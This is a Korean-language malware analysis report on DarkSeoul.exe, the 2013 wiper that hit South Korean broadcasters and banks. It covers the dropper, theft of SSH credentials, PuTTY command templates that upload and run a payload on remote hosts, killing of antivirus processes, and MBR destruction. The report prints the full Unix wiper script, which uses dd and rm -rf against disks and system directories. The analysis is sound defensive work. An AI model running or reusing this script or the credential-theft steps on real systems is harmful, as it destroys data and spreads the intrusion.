Malware Analysis 악성코드분석 3.20 전산대란의주역 DarkSeoul.exe 에대하여알아보자. 3/21/2016 By Kali KM
2 Malware Analysis SAMPLE DETAILES Dropper File Name File Size MD5 SHA-1 DarkSeoul.exe 418 KB 9263E40D9823AECF9388B64DE34EAE54 BF823CFEE2B2072EFB7FED11898EB235E2B3C1ED Dropped #1 File Name File Size MD5 SHA-1 Alg.exe 163 KB E45CD9052DD3DD502685DFD9AA2575CA A66DD0047B86E93C1AE2CDFC8CE91A02059E4265 Dropped #2 File Name File Size MD5 SHA-1 Conime.exe 150 KB 6A702342E8D9911BDE134129542A045B AC7A47C351B0B43BF81AB0719F6143D8871C9600 Dropped #3 File Name File Size MD5 SHA-1 ~pr1.tmp 2 KB DC789DEE20087C5E1552804492B042CD 66B027059A5A4FD1CBC03AE0D3A41DBE33195A02 Dropped #4 File Name File Size MD5 SHA-1 AgentBase.exe 24 KB DB4BBDC36A78A8807AD9B15A562515C4 309AF225AC59E1D2FFAADA11E09F5715BCE16C1E
3 Malware Analysis 목차 1 개요... 5 2 DarkSeoul.exe 분석... 6 2.1 요약... 6 2.2 분석내용... 7 3 AgentBase.exe 분석... 10 3.1 요약... 10 3.2 분석내용... 11 4 기타파일분석... 15 4.1 alg.exe & conime.exe 분석... 15 4.2 ~pr1.tmp... 15 그림 / 표그림 1. 행위요약... 5 그림 2. DarkSeoul.exe 요약... 6 그림 3. 파일생성과정... 7 그림 4. ~v3.log 존재여부확인... 8 그림 5. PC 버전확인... 8 그림 6. 새로운스레드생성... 9 그림 7. 다른파일실행할프로세스생성... 9 그림 8. AgentBase.exe 요약... 10 그림 9. 프로세스종료... 11 그림 10. 물리디스크핸들획득... 11 그림 11. MBR 덮어쓰기... 12
4 Malware Analysis 그림 12. 정상 MBR 과손상된 MBR... 12 그림 13. 논리드라이브확인... 12 그림 14. 파일의데이터덮어씌우기... 13 그림 15. 덮어씌워진데이터... 13 그림 16. 덮어씌워진파일삭제... 13 그림 17. 대상디렉터리제거... 13 그림 18. Sleep 함수와강제재부팅... 14 표 1. 윈도우버전에따른대상파일경로... 6 표 2. 추가로로드된 API 목록... 7 표 3. confcons.xml 에서읽을문자열... 8 표 4. *.ini 에서읽을문자열... 9 표 5. CMD 를통해실행될명령어... 9 표 6. 종료되는보안프로세스... 10 표 7. conime.exe 와 alg.exe 실행... 15 표 8. ~pr1.tmp 스크립트... 17
5 Malware Analysis 1 개요 2013 년 3 월 20 일주요방송사와시설에대하여전산마비사태가발생하였다. 이러한전산마비사태의원인으로는바로악성코드에의하여디스크가손상되어부팅이불가능하였기때문이다. 해당악성코드로인하여약 3 만 2 천여대의시스템이감염되었고방송사뿐만아니라금융기관의내부네트워크에연결된모든 PC 를공격하여감염시켰으며많은이들을불편하게했었던유명한악성코드이다. 악성코드는 2013 년 3 월 20 일오후 12 시를기준으로디스크파괴를시작하였으며, 하나의드롭퍼가다른네개의파일을드롭하여진행되었다. 두개의파일은각운영체제에맞게디스크를파괴하는동작을수행하며, 나머지두개의파일은 Putty 로원격접속과관련하여동작한다. 그림 1. 행위요약 디스크의 MBR 과각볼륨의 VBR 을파괴하여컴퓨터가부팅되지않도록하였으며, 이후일반사용자를대상으로변종또한나타났다. 무엇보다위험한것은부팅을할수없을뿐만아니라각파일의데이터영역까지덮어씌우기때문에백업해놓지않는이상복구할수가없다. 이제위다섯개의파일에대하여각각분석해보자.
6 Malware Analysis 2 DarkSeoul.exe 분석 2.1 요약 DarkSeoul.exe 는다른파일들을드롭해주는 Dropper 의형태로, 이를통해다른파일들이 PC 에저장된다. 이렇게저장된새로운파일들은 DarkSeoul 이지정한조건에따라실행될수있다. 이에대한행위요약은아래의그림과같다. 그림 2. DarkSeoul.exe 요약 우선네개의파일을 %AppData%\Local\Temp 디렉터리에생성한다. 이렇게생성된파일들은이후조건에따라실행된다. 우선 C:\Windows\temp 디렉터리에 ~v3.log 라는파일이존재하고있으면 AgentBase.exe 는실행되지않는다. 반면해당이름의파일이존재하고있지않다면 AgentBase.exe 를실행하고다음으로넘어간다. 이후 PC 의버전을확인한다. 이러한 PC 의버전에따라서로다른경로의파일을 확인하게되며, 이는운영체제버전에따라기본구성디렉터리의위치가상이하기 때문에확인하는것이다. 운영체제버전 Windows XP, Server 2003 등 Windows 7, Server 2008 등 지정된파일경로 C:\Documents and settings\[ 계정명 ]\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml C:\Documents and settings\[ 계정명 ]\Application Data\VanDyke\Config\Sessions\*.ini C:\Users\[ 계정명 ]\AppData\Local\Felix_Deimel\mRemote\confCons.xml C:\Users\[ 계정명 ]\AppData\Roaming\VanDyke\Config\Sessions\*.ini 표 1. 윈도우버전에따른대상파일경로
7 Malware Analysis 위두개의파일이존재할경우해당파일이가지고있는정보들을탈취하며, conime.ee 와 alg.exe 를통해원격접속을시도한다. 만약해당경로와파일이존재하지않을경우해당프로세스는더이상의동작을하지않고종료된다. 이제이러한 DarkSeoul 에대하여자세히알아보자. 2.2 분석내용대상파일이드롭하는네개의파일은자신의리소스에데이터를가지고있다. 그렇기에리소스로부터데이터를가지고와야하지만, 이와관련된 API 가 Import 되어있지않다. DarkSeoul 의메인함수를보면우선 LoadLibrary API 를통하여 kernel32.dll 을로드한다음, GetProcAddress 를통해리소스와관련된 API 들을로드한다. 이들을통해로드하는 API 는다음과같다. FindResource LockResource 표 2. 추가로로드된 API 목록 Loaded API Name LoadResource SizeofResource 이렇게로드된 API 들을통해자신안에숨겨져있는다른파일들의데이터를가지고온다. 네개의파일은아래의공통적인방법을통해생성되는데, 우선 LoadResource 를통해데이터를가지고온다음, Temp 디렉터리에드롭하기때문에이에대한경로를가지고온다. 그리고 fopen() 함수를 wb 를통해열게되고, 읽어드린리소스의크기만큼이를기록한다. 그림 3. 파일생성과정 네개의파일이모두생성되면, 아래와같이 PathFileExist API 가나타난다. 해당 API 는지정한파일이해당경로에있는지확인하는것으로, 만약존재하지않을경우 0 이반환된다.
8 Malware Analysis 0 이반환될경우 test eax, eax 명령어를통해플래그가설정되지만 JNZ 를통해점프하지않고 WinExec 를호출한다. 해당 WinExec 는위에서드롭된 AgentBase.exe 를실행하도록한다. 이는 ~v3.log 가해당경로에존재할경우 AgentBase.exe 는실행되지않음을뜻하기도한다. 그림 4. ~v3.log 존재여부확인 ~v3.log 존재여부를확인한다음, GetVersion API 를사용하여 PC 의버전을확인한다. 이렇게 PC 의버전을확인하는이유는 \Documents and settings 디렉터리와 \Users 디렉터리의존재여부때문이다. 이러한경로는이후에다른파일들을찾기위해해당악성코드가알아내려하는것이다. 그림 5. PC 버전확인 각경로는얻었다면지정한파일을찾고자해당경로하위에존재하는모든파일을읽는다. 각경로에대한정보는요약페이지와동일하며찾고자하는파일은 confcons.xml 과 *.ini 파일이다. 우선 confcons.xml 이지정된경로에존재하고있을때, 해당파일의문자열을읽어다음과같은정보를읽는다. 문자열목록 UserName= root Protocol= SSH Password Hostname Descr Panel Port 표 3. confcons.xml 에서읽을문자열 confcons.xml 의경우특정하게파일이름이지정되어있지만, *.ini 의경우해당 경로의모든 ini 확장자파일에대하여적용된다. Ini 확장자파일의경우에도위와비슷한 문자열들의내용을읽는다.
9 Malware Analysis 문자열목록 S:"Protocol Name"=SSH S:"Username"=root D:"Session Password Saved"=00000001 S:"Hostname"= S:"Password"= D:"[SSH2] Port"= 표 4. *.ini 에서읽을문자열 이렇게각파일의존재여부에따라해당파일이가지고있는인증정보를탈취한다. 이렇게탈취한다음공통적으로새로운스레드를생성한다. 스레드는 CreatePipe 와 CreateProcess 를호출하며이를통해 conime.exe 와 alg.exe 를실행하고자한다. 그림 6. 새로운스레드생성 Conime.exe 와 alg.exe 는실행될때, 인자가따라오게되는데이러한인자는문자열과관련된 API 를호출하여완성된다. 실행되기전각문자열은아래의표와같은형태로나타난다. 그리고이러한문자열에 cmd.exe /c %s 를포함하고있는 _sprintf 함수를통해, 결국새로생성될프로세스는 cmd 를통해이들을실행하기위함을알수있다. 실행될명령어 conime.exe -batch -P %s -l %s -pw %s %s %s:/tmp/cups alg.exe -batch -P %s -l %s -pw %s %s "chmod 755 /tmp/cups;/tmp/cups" 표 5. CMD 를통해실행될명령어 그림 7. 다른파일실행할프로세스생성
10 Malware Analysis 3 AgentBase.exe 분석 3.1 요약 DarkSeoul.exe 에의해실행되는 AgentBase.exe 에대하여정리한챕터이다. 해당프로그램은실행시별도의인자를필요로하지않으며, 실행될경우 ~v3.log 의여부를한번더확인한다음, 존재하지않을경우해당기능을수행한다. AgentBase.exe 의기능은아래의그림과같이요약할수있다. 그림 8. AgentBase.exe 요약 위에서언급한바와같이 ~v3.log 의여부를확인한다음, 존재하지않을경우에 실행된다. 해당기능이제대로동작하면두개의프로세스를종료하는데해당 프로세스에대한정보는다음과같다. 프로세스 제품 회사 설명 Pasvc.exe AhnLab Policy Agent AhnLab, Inc pasvc Clisvc.exe ViRobot ISMS Hauri Service for VISMS Agent 표 6. 종료되는보안프로세스 보안과관련된프로세스가있을경우종료한다음, 새로운스레드를생성한다. 이렇게생성된스레드 (Thread 1) 은연결되어있는물리디스크를모두읽어 MBR 을파괴한다. MBR 을파괴한다음또다시새로운스레드 (Thread 2) 를생성하고, 스레드에게동작할시간을주기위해 5 분동안 Sleep() 한다음, PC 를강제로재부팅시킨다. 주어진 5 분동안스레드 (Thread 2) 는컴퓨터에서모든파일을읽어복구할수없도록데이터영역을덮어씌운뒤제거하며, 그다음해당디렉터리또한제거한다. 또한스레드 (Thread 2) 는자신과같은기능을하는새로운스레드를생성할수있으며
11 Malware Analysis 스레드 (Thread1) 에서지정한 5 분이지난다음, 강제로재부팅을하지만 MBR 이이미 파괴되어 PC 는재부팅할수없게된다. 3.2 분석내용 AgentBase.exe 에대하여상세히알아보자. 우선아래의그림과같이 ~v3.log 의존재를 PathFileExist API 를통해확인한다. 그리고만약해당파일이존재할경우함수는바로종료루틴으로넘어가게된다. ~v3.log 파일이존재하지않아야메인함수들이실행되는데, 우선보안과관련하여프로세스를종료하는데각프로세스에대한설명은위요약에정리된것과같다. 그림 9. 프로세스종료 이렇게보안관련프로세스를종료한다음, 새로운스레드를 CreateThread API 를통해생성한다. 새롭게생성된스레드는연결되어있는물리디스크를읽어 MBR 을파괴하는동작을수행한다. 따라서존재하고있는물리디스크의핸들을가져와야하는데이를위해 CreateFile API 를사용한다. 아래의그림을보자. 그림 10. 물리디스크핸들획득 만약하나의물리디스크가아니라여러개의물리디스크가연결되어있을경우이를 \\.\PhysicalDrive%d 를통해 0 부터 1 까지확인하여핸들을얻으려한다. 대상디스크로부터핸들을얻었다면이를덮어쓰려한다. 아래의그림과같이 MBR 에 PRINCPES 라는문자열을 0x200 바이트만큼덮어씌우는것을확인할수있다.
12 Malware Analysis 그림 11. MBR 덮어쓰기 정상적인 MBR 은 0x200 바이트로마지막에는 0xAA55 가존재하고있지만, 해당스레드에의해손상된 MBR 은이러한부분이전부 PRINCPESPRINCPES 라는문자열로채워지게된다. 따라서이후 PC 는 MBR 이손상되어운영체제를부팅할수없게되는상황이발생한다. 그림 12. 정상 MBR 과손상된 MBR MBR 을손상시킨뒤, 해당스레드는다시새로운스레드를생성한다. 이두번째스레드 ( 이후스레드 2) 에대하여알아보자. 스레드 2 는사용자 PC 에있는파일의모든데이터를덮어씌워복구할수록없도록한다음, 해당파일들과디렉터리를삭제한다. 우선존재하는논리드라이브를구하기위하여 GetDriveType API 를사용한다. 그림 13. 논리드라이브확인 논리드라이브를확인하기위해 B:\, C:\ 와같은문자열을통해확인한다. 이렇게확인해서하드디스크나플래시디스크와같이고정된드라이브일경우주요함수들을실행한다. 주요함수로해당드라이브의하위파일들을 FindFirstFile 와 FindNextFile API 를사용하여하나씩읽은다음, CreateFile API 를파일을핸들을구한다.
13 Malware Analysis 그림 14. 파일의데이터덮어씌우기 위의과정을거치면파일의원래데이터는더이상은확인할수없으며아래와같은 데이터가덮어씌워진다. 위에서언급한바와같이, 이를통해 PC 가부팅가능하지않을 때, 디스크에서자료를복구하거나이를추출할수없도록하기위함이다. 그림 15. 덮어씌워진데이터 데이터를덮어씌운다음해당파일을삭제하며, 해당디렉터리의모든파일이제거되면, FindNextFile 의결과로 0 이반환되어 FindClose 를호출한다음해당디렉터리를 RemoveDirectory API 를사용해제거한다. 이뿐만아니라스레드 2 는자신과유사한기능의새로운스레드를생성할수있으므로, 여러개의스레드가이러한자신과유사한기능을수행하도록할수있다. 그림 16. 덮어씌워진파일삭제 그림 17. 대상디렉터리제거 이렇게스레드 2 는모든동작을수행한다음종료하게된다. 이제다시스레드 1 의 마지막기능으로 WinExec 를호출하는데, 해당 API 는 shutdown r t 0 을실행하므로 PC 를강제로재부팅한다.
14 Malware Analysis WinExec 함수이전의 Sleep() 함수는스레드 2 가생성되는것과동시에실행되어 5 분가량스레드 2 의동작이수행할수있는시간을주는것이다. 만약 PC 의사양이낮아디스크를읽는속도가매우느릴경우, 5 분안에모두파일의지우지못하더라도 PC 는강제로종료되어재부팅된다. 그림 18. Sleep 함수와강제재부팅 이렇게 AgentBase.exe 는 MBR 과 PC 에존재하는파일을손상시키므로사용자가 파일을복구할수없도록하며, 부팅또한할수없게한다.
15 Malware Analysis 4 기타파일분석 4.1 alg.exe & conime.exe 분석 alg.exe 와 conime.exe 는외부와의연결을위한 Putty Client 로 alg.exe 는 SSH, Telnet, Rlogin 접속을위해사용되며, conime.exe 는 SCP 와 SFTP 접속을위해사용된다. 이두파일이실행되는조건은 DarkSeoul.exe 에서확인했듯이지정된경로에지정된파일이존재하는지확인하여야한다. 각각해당파일들로부터인증정보를탈취한다음 conime.exe 와 alg.exe 가 실행되는데, 이두프로그램은 ~pr1.tmp 파일을업로드한뒤아래와같은명령어로 실행된다. 실행될명령어 conime.exe -batch -P %s -l %s -pw %s %s %s:/tmp/cups alg.exe -batch -P %s -l %s -pw %s %s "chmod 755 /tmp/cups;/tmp/cups" 표 7. conime.exe 와 alg.exe 실행 4.2 ~pr1.tmp ~pr1.tmp 는다른파일들과다르게 MZ 로시작하는윈도우 PE 파일이아니다. 이는명령어를실행할수있는 Shell Script 의형태로 Unix, Linux 시스템에서수행할수있는명령어들을포함하고있는데 DD 명령어를통해디스크를정해진크기만큼 0 으로덮어씌우거나 rm 명령어를통해파일들을삭제한다. WHICH=`which which` UNAME=`$WHICH uname` SLEEP=`$WHICH sleep` DATE=`$WHICH date` CAT=`$WHICH cat` RM=`$WHICH rm` DD=`$WHICH dd` KILL=`$WHICH kill` dd_for_hp() { DISK=`strings -v /etc/lvmtab grep -v vg` for DISK_PART in $DISK
16 Malware Analysis do $DD if=/dev/zero of=$disk_part bs=8192000 & done } dd_for_aix() { DISK=`lsp awk '{print $1}'` for DISK_PART in $DISK do $DD if=/dev/zero of=/dev/$disk_part bs=10m & done } dd_for_sun() { rm -rf /kernel/ & rm -rf /usr/adm/ & rm -rf /etc/ & rm -rf /home/ & rm -rf / & PRTTOC=`$WHICH prtvtoc` DISK=`ls /dev/dsk grep s2` for DISK_PART in $DISK do mnt_info=`$prttoc /dev/dsk/$disk_part grep Mount` if [ `expr "$mnt_info" : '.*'` -gt 0 ] then $DD if=/dev/zero of=/dev/dsk/$disk_part bs=81920k & fi done } dd_for_linux() { rm -rf /kernel/ & rm -rf /usr/ & rm -rf /etc/ &
17 Malware Analysis rm -rf /home/ & } SYSTYPE=`$UNAME -s` if [ $SYSTYPE = "SunOS" ] then dd_for_sun elif [ $SYSTYPE = "AIX" ] then dd_for_aix elif [ $SYSTYPE = "HP-UX" ] then dd_for_hp elif [ $SYSTYPE = "Linux" ] then dd_for_linux else exit fi 표 8. ~pr1.tmp 스크립트